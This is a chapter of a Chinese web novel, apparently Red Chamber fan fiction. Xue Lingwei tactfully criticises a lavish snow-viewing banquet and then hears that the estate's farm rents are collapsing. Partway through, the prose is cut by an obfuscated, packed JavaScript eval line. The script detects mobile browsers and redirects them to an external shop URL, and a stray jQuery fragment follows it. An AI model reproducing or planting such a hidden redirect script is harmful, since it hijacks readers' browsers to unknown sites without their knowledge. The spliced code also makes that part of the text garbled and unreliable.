一夜朔风呼啸。
第二日清早醒来，园子里竟悄无声息落了一层薄雪。
碎雪轻飘飘盖在亭台屋脊、假山石上，青灰的游廊染上一层浅浅的银白，冷光映着窗纸，屋子里反倒透着一股清寒。
薛令微披着一件月白绒斗篷，立在廊下看雪。
指尖接住一片飘落的雪花，转瞬就在掌心化成一点冰凉的水渍。
“一场小雪，倒是把连日的阴霾冲淡了几分。”
春纤捧着一个手炉快步跟上来，递到她手里。
“姑娘仔细着凉。方才听外面婆子闲谈，说老太太一早传了话，晌午要在暖香坞摆个赏雪小宴，府里的姑娘奶奶，都要过去。”
薛令微握着温热的手炉，眉梢轻轻一动。
赏雪宴，又是一场不得不去的局。
上次围炉小聚之后，园子里闲话确实淡下去不少，可邢夫人那份芥蒂并没有消解，只藏得更深了。
“知道了，取那件银灰绣折枝玉兰花的袄裙出来，不必穿得太过艳丽，素雅些正好应这雪景。”
临近晌午，雪渐渐停了，只是天依旧阴沉沉的，寒风刮在脸上刺骨。
一行人陆续往暖香坞而去。
暖香坞四面围着雕花暖窗，屋内地龙烧得滚烫，一掀帘子，暖意扑面而来。地上摆着鎏金熏炉，燃着淡淡的沉香，驱散冬日寒气。
贾母坐在主位，满面笑意，看见姑娘们一一进来，便招手叫众人落座。
桌上已经摆好了各色精致点心：松瓤鹅油卷、螃蟹小饺、枣泥山药糕，又备了黄酒，温在热水之中。
说笑片刻，贾母兴致很高，提议即景联诗，以雪景为题，大家轮流接句。
一时间屋内诗句往来，笑语不断。
联诗过半，酒菜陆续布上桌。
鸡鸭鱼肉、山珍海味一盘盘往上送，满满当当铺了整整两张大圆桌。
一道道菜摆盘极尽精巧，可薛令微只随意动了几筷子，心里隐隐有些不是滋味。
她默默扫过满桌丰盛菜肴，暗自在心里盘算。
前几日探春闲谈时就提起府里银钱日渐紧张，各处采买频频亏空。可一场寻常赏雪小宴，尚且这般铺张挥霍，若是遇上节庆、寿宴，开销更是不敢想象。
外头田庄收成一年不如一年，内里依旧日日奢华宴饮，只靠着祖上留下来的家底硬撑。再多金山银山，也经不住这般只出不进。
酒过三巡，贾母兴致正好，笑着环顾一圈。
“今日酒菜可还合胃口？厨房这批厨子手艺近些日子倒是越发精巧了。”
邢夫人连忙顺着话笑着附和，连连夸赞厨房办事得力。
王夫人也跟着点头，说近来采买置办得妥当。
底下一众奶奶嬷嬷纷纷顺着说话，满屋子都是一片溢美之词，没人敢提半句府里银钱窘迫的实情。
薛令微安静坐在末位，慢悠悠抿了一口温热黄酒，并没有跟着开口奉承。
偏偏贾母目光一转，落在了她身上。
“令微丫头，你素来最懂吃食滋味，今日这一桌酒菜，你觉得怎么样？可有哪里做得不妥？”
一瞬间，满屋的说笑声微微一顿，几十道目光齐刷刷落到她身上。
所有人心里都各有盘算。
邢夫人端着酒杯，似是漫不经心瞥过来，暗暗等着看她失言出丑。
宝钗轻轻皱了下眉，悄悄朝她递了一个眼神，示意只管顺着众人说好话即可，不必多言。
若是寻常姑娘，定然顺势夸几句菜式精致，哄老太太开心了事。
可薛令微只是浅浅一笑，放下手中酒杯，语气松弛，不卑不亢。
“回老太太，卖相自然是极好看的，每一道菜摆盘考究，用料名贵。只是依令微浅见，宴席之妙，贵在合时合宜，不在于一味堆砌珍馐。如今正值初冬薄雪天，天寒地燥，脾胃本就容易滞涩，重油重甜、太过丰盛的大菜，看着热闹，吃多了反倒腻胃伤身。
好比炖一锅肉汤，若是只管拼命往里面堆山珍，各种滋味混在一处，鲜味反倒互相冲撞，尝不出本身的鲜香。若是精简几样食材，火候慢慢熬透，清淡醇厚，反而更让人吃得舒服。”
这话一出，屋子里骤然安静下来。
谁也没料到，一个寄居在此的年轻姑娘，敢当着满府长辈的面，点评府里宴席太过铺张。
探春眼睛微微一亮，悄悄挺直脊背，心中暗叹，这份胆量见识，实属难得。
黛玉端着茶杯，眼含几分兴致，静静等着她往下说。
贾母微微一怔，原本带着笑意的神情收敛几分，饶有兴致往前微微倾身：
“哦？听你这话，倒是有另一番道理。照你说来，若是再办赏雪宴，该如何置办？”
薛令微不慌不忙，语气带着一点少女独有的灵动，没有半点劝谏说教的沉重感，只用做菜打比方，缓缓说来。
“不必撤去所有好菜，只是删减大半华而不实的花样。炖一锅老母鸡鲜笋汤，蒸一盘腊味冬笋，烤几片薄薄的蜜汁山药，再配几碟清爽小菜。酒水不必备下十几坛，两三壶温热米酒足够。
省下那些花在繁复摆盘、稀有食材上的银钱，若是用来修整田庄、接济底下穷苦的家人下人，远比一桌转瞬就吃完的酒菜来得实在。菜肴只是助兴，亲友闲话相聚，才是赏雪宴真正的乐趣。”
她从头到尾，没有直接开口说贾府开销巨大、入不敷出，只借着“做菜设宴”这件小事，轻轻点破铺张之弊。话裹在吃食闲谈之中，听着只是聊厨艺，细品之下，句句切中要害。
贾母沉默片刻，手指轻轻摩挲着杯沿。
满屋寂静，连炭火噼啪的轻响都听得清清楚楚。
邢夫人脸色已经沉了下来，正要开口驳斥，说一个小姑娘不懂规矩妄议家事。
谁知贾母忽然哈哈大笑起来。
“好好好！说得通透！我们这一辈子，荣华富贵享惯了，凡事只求体面热闹，反倒忘了过日子最该讲究分寸节制。你这一番话，倒是点醒我这个老婆子了。”
一句话定了调子，邢夫人已经到了嘴边的指责，硬生生又咽了回去，脸上强行挤出一抹笑意，低头假装饮酒。
王夫人神色复杂，深深看了薛令微一眼，心里说不清是欣赏还是警惕。
她能听出来，这姑娘看似聊做菜，实则看得极远，心思眼界，远远超出寻常闺阁女子。
李纨轻轻开口打圆场，缓和略显紧绷的气氛。
“令微妹妹心思灵巧，凡事总能看得更深一层。只是节俭一事，也不是一朝一夕就能改过来的。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761945|209609||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
宴席后面的气氛，莫名微妙了许多。
众人说笑都收敛几分，再也不敢一味大肆夸赞奢华酒菜。
宴饮接近尾声，雪彻底停了，云层散开一点淡淡的日光，透过暖香坞的花窗斜斜照进屋内。
散席之后，大家陆续辞别。
宝钗刻意放慢脚步，等薛令微走到廊下，快步跟上来。
“方才在席上，你那一番话太过大胆。纵然老太太一时高兴，可底下许多管事嬷嬷听在耳里，未必心里痛快。议论府里用度开销，本就是极为忌讳之事。”
语气里满是真切的担忧。
薛令微望着远处白雪覆盖的假山，轻轻呵出一口白雾。
“我明白姐姐的顾虑。我没有直接说府里缺钱亏空，只是借宴席吃食随口一说。若是人人都只敢拣好听的说，所有人都活在繁花似锦的假象里面，等到窟窿彻底兜不住的时候，再想回头，就来不及了。”
她侧过头，眼底带着一丝清醒的韧劲，“我只是点出一点点道理，听不听，改不改，终究还是长辈们拿主意。”
“道理是没错，只是树大招风。”宝钗轻轻叹气，“太多人已经注意到你了。”
两人沿着积雪尚未清扫干净的游廊，慢慢往梨香院方向走，一路低声闲谈。
刚转过月亮门，迎面撞见贾琏身边的小厮，匆匆忙忙赶路，神色慌张，差点撞到二人。
小厮慌忙行礼告罪，脚步不停匆匆离去。
隐约听见他低声跟另一个人念叨：“江南那边送来的信，说是好几处田庄收成大跌，租子大半收不上来……”
短短一句话随风飘过来。
薛令微脚步一顿，心里沉甸甸往下一沉。
怕什么偏偏来什么。
她之前仅仅只是猜测田庄亏空，如今算是实实在在印证了。
外面进项一天天缩减，府内吃喝用度、人情往来依旧半点不肯缩减。长此以往，再多家底，也撑不了几年。
回到梨香院，屋内炭火烧得暖融融。
春纤关上隔扇，拍落斗篷上面残留的雪沫。
“今日赏雪宴，可真是惊心动魄。奴婢站在外面等着，心一直悬着，生怕说错一句话惹老太太不快。”
薛令微坐到窗边桌旁，伸手拿起纸笔，没有写诗作画，只是默默在纸上一笔一笔，简单罗列贾府平日里几处最大开销：宴席、节庆、月例、修缮、人情送礼。
一行行写下来，纸上密密麻麻。
她看着纸上罗列的条目，眉头紧紧蹙起。
“这一大家子几百口人，全都靠着祖上田产俸禄过日子，没有长久谋生的产业。只出不进，如同坐在一艘漏水的大船之上。如今只是初见裂痕，若是不去修补，等到大水漫进来，船上所有人，谁也难以独善其身。”
她不能只只顾着应付后院宅斗，保全自己一时清白安稳。
必须提早为将来筹谋。
积蓄、傍身的技艺、外面可靠的门路，一样一样，都要悄悄慢慢安排。
窗外残雪未消，寒风卷着枯枝轻轻摇晃。
一场小雪过后，大观园看似依旧是盛世繁华模样，可底下潜藏的危机，正一日比一日更加清晰。
一场席卷整个贾府的狂风骤雨，已经在遥遥的前路，悄然酝酿。